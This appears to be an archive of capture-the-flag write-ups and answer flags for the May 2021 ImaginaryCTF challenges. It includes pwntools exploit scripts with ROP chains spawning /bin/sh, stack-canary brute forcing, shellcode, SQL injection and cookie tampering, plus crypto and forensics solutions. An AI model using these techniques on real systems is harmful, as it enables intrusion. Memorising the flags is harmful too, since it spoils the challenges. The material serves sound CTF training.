Archived Challenges - May 2021

Fill out the form to get the flag.

ictf{S@nity_Check_R0und_10}

Solve script by Firepony

from pwn import * 
p = remote("imaginary.ml", 10069)
p.readline()
encrypted_flag = p.readline() 
encrypted_flag = encrypted_flag.decode()
encrypted_flag = encrypted_flag.strip()
p.readline()
chars = ["1","2","3","4","5","6","7","8","9","0","!","@","#","$","%","^","&","*","(",")","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m","{","}","_","'"]
values = {}
for n in chars: 
 p.sendline(str(n))
 p.readline() 
 char = p.readline() 
 char = char.strip()
 char = char.decode()
 values[char] = n
 p.readline()
 result = ""
for n in str(encrypted_flag):
 n = values[n]
 result += n
 print(result)

Solve script by Et3rnos

from pwn import *
import string

c = remote("imaginary.ml", 10069)

c.readline()
flag = c.readline().strip()
flag = [flag[i:i+2] for i in range(len(flag)) if i % 2 == 0]
log.info(f"[FLAG] {flag}")

c.read()
c.sendline(string.printable)
c.readline()

enc = c.readline().strip()
enc = [enc[i:i+2] for i in range(len(enc)) if i % 2 == 0]

log.info(f"[ENC] {enc}")

tmp = "".join([string.printable[enc.index(i)] for i in flag])
log.info(f"[RESULT] {tmp}") 

ictf{d1ct10n@ri3s_m@k3_y0u_sm@r73r}

Connect to the ##imaginaryctf channel over at irc.libera.chat, with gimmeflagpls as password (the channel has the +k mode). The flag can then be found in the topic.

ictf{freenode_is_dead_long_live_freenode_but_let's_stick_to_discord_I_guess}

Send unbalanced trees to the server to binary search for the flag.

ictf{t!m3th3b!+}

Spam "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" to overwrite the variable storing whether or not you are admin, and get the flag.

ictf{buff3r_0verfl0w_1s_d4ng3r0us}

Call gets() on .bss to write /bin/sh to memory, then call system() on the string.

from pwn import *
conn = remote("oreos.ctfchallenge.ga", 7331)
elf = ELF("./aaa")
offset = 40
pop_rdi = 0x000000000040191a
ret = 0x000000000040101a
payload = b'A'*40
payload += p64(pop_rdi)
payload += p64(elf.bss())
payload += p64(elf.symbols['gets'])
payload += p64(pop_rdi)
payload += p64(elf.bss())
payload += p64(elf.symbols['system'])
conn.sendline(payload)
conn.recvuntil("}\n")
conn.sendline("/bin/sh\x00")
conn.interactive()```

ictf{r0p_t0_th3_r3scu3!}

This is pretty much a stack buffer overflow → win challenge, with a small twist. It is more difficult than ret2win due to SSP / stack canaries being enabled.

Intended solution is to leak the value of the canary a byte at a time through trial and error, until eventually the whole value is leaked. As the program forks before each input, we can keep trying against a constant canary value per connection.

The following pwntools script solves:

from pwn import *
from pwnlib.elf.elf import ELF

PROMPT = b"Please enter the password: "

e = ELF("./birdie")
p = remote("localhost", 9999)


def test_canary(known, val):
    if val == b"\n":
        return False

    p.sendline((b"A" * 40) + known + val)
    out = p.recvuntil(PROMPT)
    if b"SQUAWK!" in out:
        return False

    return True


p.recvuntil(PROMPT)

canary = b""
for byte in range(8):
    for val in range(256):
        val = bytes([val])
        if test_canary(canary, val):
            canary += val
            print(canary)
            break

p.sendline(b"A" * 40 + canary + b"B" * 8 + p64(e.symbols["win"]))
print(p.recvall(timeout=1))

ictf{d0nt_$m@sh_m3_1ll_s1ng_l1k3_@_can@ry!}

Leak the canary through a format string, then ret2libc. Annotated solve script at https://imaginary.ml/r/3741-librarian2.py

ictf{ummmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm_idk_what_to_put_here_472b3212}

Leak canary and program base with format string, then ret2libc. Annotated solve script at https://imaginary.ml/r/F166-librarian3

ictf{w0w_f0rmat_str1ng_byp4ss1ng_4ll_pr0tections!_4d83ba49}

Wait for a minute, see that nothing happens, inspect because it's a web chall, see a web redirect that would have you waiting for 31,000 centuries (literally), find the redirect url, go to it, get the flag (it's just there).

ictf{a_r3a11y_n1ce_wa1t1ng_gam3}

writeup: see that there's a lot going on in /shop and in the 500 error handler, figure out how to get a 500 error (ex. https://imaginary-shop.max49.repl.co/shop?buy=water ), see that you need certain cookies set in order to get the flag, send cookies with burp or with curl (curl -b "item=1;money=1;add=1" https://imaginary-shop.max49.repl.co/shop?buy=bagel)

ictf{1nt3nt10nal_f1ask_pyth0n_3rr0rs?}

Blind SQL injection. Solve script coming soon.

ictf{bl1nd_1nj3ct1on_ftw_5a7566bc}

Decode the string by binary(base-2), then base-3, etc... Until base-10

ictf{b@s3s_g@10r3}

Make use of the fact that gcd(a,b)=gcd(a,b+ax) neat-rsa

#!/usr/bin/python3

from math import gcd
from Crypto.Util.number import long_to_bytes, inverse

n1 = 129851722357947445345870990963660632711447373178135819868899984182659557798630904818907679897656671090445195493024305192175998357725180728308641342052877827178063748226956003293995628809809946890377677500727765422671309139577956460806060356061643066260620532143971581138444887013251083401740953016800526561369
ne = 354020441161271454238824233113483251424739165273603253089281992413904299790750998993004221545361940017125675049620866260946107295019570616958455252820784279420662013197185267268535478305987123286908618637917837561207744990593948143827775524857529903243255631176220324605682439947302448209103973570727852816857845902079
ct = 99860436465836391865653329628063911057946675204553849493647896562280037248239340521968032740474787220879813274343214941793443913638426853461368251451691055571860562982592326807064465612371566427699272833229440737810391158841432366489390151103656479013891591734401496841642436054950303923680083243969093719406

e = 65537

q = gcd(n1, ne)
p = n1//q
phi = (p-1)*(q-1)
d = inverse(e, phi)

pt_calc = pow(ct, d, n1)
m_calc = long_to_bytes(pt_calc)
print(m_calc)

ictf{why_c@nt_1_ev3r_c0m3_up_with_c0ol3r_flag5_:rooNobooli:}

Using the same concept from the neat-rsa, we can find q and p to get the first half of flag and guess the rest.

JK. You use z3 to solve(elusive > 0, n2 > 0, n2 % q == 0, n2 + n1*elusive == ne) and get n2. Rest is usual RSA to get the last half of flag.

ictf{rsa_c@n_be_scary_but_th3_0nly_th1ng_th3y_f3@r_15_y0u_3qu1pped_w1th_th3_Z3_5MT_50lv3r}

Determine modulus by only accessing the encryption server.

ictf{d1d_Y0u_L34rN_$0m3th1nG_n3w_ab0uT_RSA?!}

All keys are already in the given files. You only have to recreate the corrupted file. So for decrypting a ECC cipher (assuming Bob sent Alice a cipher), you need the Elliptic Curve E, the generator Point P, Alice's private key kA and Bob's public key B. Line 15 and 16 are the first corrupted ones, line 15 ends with a 56 and line 16 with a B. Knowing from the enryption file, kB ends with 56. So line 15 becomes: kB = 2956 B is Bob's public key, referring to Alice's public key, line 16 becomes this: B = kB * P

The next corrupted section is on line 25. It seams like M should be calculated there, and the equation for that is: M = -kA * B + C At the final part, you can see that someting is shifted right by 5 bits and then appended to our plain text. Checking the comments on the encryption part, this is the point M that should be shifted right. And with converting this int to a char, we get the line: plain += chr(x >> 5)

ictf{n0w_th4t_w45_3asy}

We can construct an arbitrary hash output by appending a single block to an arbitrary message $m$:

Let $h_1 = H(m)$, $m'$ our appended block, and $h_2$ our target. Then we want that $S(h_1 \oplus m') = h_2$. Since the SBOX is a permutation, so is $S$, and as such we know $S^{-1}$ exists and we are able to simply compute it. From there, we can very easily compute $m' = S^{-1}(h_2) \oplus h_1$. Now by construction, $H(m || m') = h_2$.

ictf{pr31m4ge_r3s1st4nce_4m1rite}

This is a Feistel cipher without an actual key. Therefore, we can simply reverse it, as the required information to compute the round function for the (currently) last round is always present as the first half of the output of that round.

ictf{imagine_not_using_a_key_for_your_feistel_cipher_67e63cc381}

Straightforward shellcoding. The binary takes our input and runs it as shellcode. Sending e.g. a payload from shell-storm or pwntools' shellcraft.execve() quickly gives us RCE.

ictf{it's-a_me_sh3llc0d10}

ROPnCall

from pwn import *

exe = ELF('./ROPnCall', checksec=False)
# p = exe.process()
p = remote('20.94.210.205', 1337)
# context.log_level = 'debug'

offset = b'A' * 24

rop = ROP([exe])

win = exe.symbols['win']
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
pop_rcx = rop.find_gadget(['pop rcx', 'ret'])[0]
pop_r8 = 0x40126e
pop_r9 = 0x401271

payload = offset
payload += p64(pop_rdi) + p64(0xACC01ADE)
payload += p64(pop_rsi_r15) + p64(0xB1A5ED0F) + b'A'*8
payload += p64(pop_rdx) + p64(0xDEADBEEF)
payload += p64(pop_rcx) + p64(0xBA5EBA11)
payload += p64(pop_r8) + p64(0x1337C0DE)
payload += p64(pop_r9) + p64(0xC001C0DE)
payload += p64(win)
payload += b'B' * 8
payload += p64(0xDEA110C8)

# gdb.attach(p, gdbscript='b* 0x4011b6')
p.sendline(payload)
p.interactive()

ictf{linux_x86-64_follows_system_v_amd64_abi_calling_convention}

Looking at the assembly of the binary, we see it's really minimal. 4 times in a row, 8 bytes of input are read to the stack, then some registers (rax, rdi, rsi, rdx) are set by popping things from the stack or assigning rdi = rsp. Finally, a syscall is performed, and an exit syscall finishes the program. We simply provide the correct values to end up with an execve("/bin/sh", 0, 0) syscall when the syscall under our control happens.

ictf{Here's_my_flag_sysc4ll_m3_m4yb3}

Program the interpreter. Implementations vary from person to person, but for my interpreter, I used a dictionary for the registers, and each instruction modifies the dictionary. Alternatively, you can notice that it's just xoring strings with the input, and write a script to do this.

ictf{th3_w@rm3st_ICICLE_y0u've_s33n}

Again, program the interpreter. The only real curveball is that memory accesses have to be implemented recursively, as they can be nested indefinitely. My implementation uses a dictionary for memory, as well. Alternatively, you can notice that the prval function simply prints the length of a linked list, and the program is just going through a linked list of linked lists, and from there reverse the program to get the flag.

ictf{0nly_@n_ICICLE_!s_l0vli3r_th@n_@_tr33}

I'm not currently aware of a website that instant detects this. It doesn't use zero-width spaces tricks. The unicode of the text itself slightly obfuscates the other unicode characters in the body of the poem. Once a solver realized it used two different kinds of spaces (hinted at in the title and description), they just need to filter out the two types of spaces, assign "1" and "0" to the two types and decrypt.

ictf{7w0_Sp4cE5_m4y8E_m0rE}

Fix the PNG header.

ictf{fixed_the_broken_bear!_:rooYay:}

This is a 3 disk raid5 array that has a real flag stored on the failed disk and a million fake flags stored on the active disks. The primary method of recovery is to mount raid array using mdadm and let raid5 restoration occur. The problem is the superblock is failed, with no backups since the filesystem is so small. The data is still present on the disks, however. A simple way is to add another "disk" to the array and let mdadm recover the data from parity information.

$ sudo losetup -f --show disk0
/dev/loop0
$ sudo losetup -f --show disk2
/dev/loop1
$ sudo mdadm --assemble --run /dev/md0 /dev/loop0 /dev/loop1
mdadm: /dev/md0 has been started with 2 drives (out of 3).
$ dd if=/dev/zero of=./tmpdisk bs=4M count=1
1+0 records in
1+0 records out
4194304 bytes (4.2 MB, 4.0 MiB) copied, 0.00404471 s, 1.0 GB/s
$ sudo losetup -f --show ./tmpdisk
/dev/loop2
$ sudo mdadm --add /dev/md0 /dev/loop2
mdadm: added /dev/loop2
$ strings ./tmpdisk | less

An even simpler way is to xor the files together (which is what mdadm does for recovery) and get the data from the output of the xor. https://github.com/scangeo/xor-files can do this, or https://www.nirsoft.net/utils/xorfiles.html or you can write a python script to xor each byte together.

ictf{raid_5_for_recovering_data_when_a_disk_fails}

The provided file is a series of nested zips. The password to each is the 2 digit lowercase hex of a character. When combined and reversed, these make the flag. The flag.png inside the zip file is a red herring, and has nothing to do with the flag (aside from telling the user to look somewhere else). The passwords are trivially crackable by brute forcing, and some of the bytes may appear in rockyou.

ictf{the_real_flag_was_not_the_passwords_we_cracked_but_instead_the_castles_we_built_along_the_way}

The AI is indeed a perfect player, that will never lose. It can at worst tie, which is not enough. To exploit it, we need to think outside the box, and observe that while negative numbers are not properly read, we can still use an integer overflow to place something out of bounds of the grid that still counts for a win if we have 3 pieces in a row that way.

ictf{y0u_mu$t_r3al1ze_there_i$_n0_box}

Measure the time for each character on a failure, calculate the right character.

ictf{t!m!ng_!5_3v3ry+h!ng}

Reverse engineer the Haskell program in order to get the right input

ictf{H4t3r_s4y_h@sKe11_m0ar_l1k3_h3ll}

This is mostly a straightforward reverse engineering challenge, except it's been compiled to ARM/aarch64. To run the executable (as hinted by the otherwise unused HINT global string), we can use qemu userland emulation, which also provides the possibility to attach gdb to it.

Looking at this in e.g. ghidra's decompiler, we observe that there's a key check on the input, reading the input from hex, followed by a decryption step of the flag if the key is determined to be "potentially correct". The decryption step is doing RC4 with the key, but that is of little practical importance if we can run the binary properly.

Looking further at the key check, we see that it validates the xor of every two adjacent key bytes against known values. This determines the key up to a single degree of freedom. Any value we choose for the first key byte ends up determining the rest of the key. So we can run all 256 possible keys, filter by the flag format, and find the flag.

ictf{I'm_sc4r3d_of_ARM_wr3stl1ng}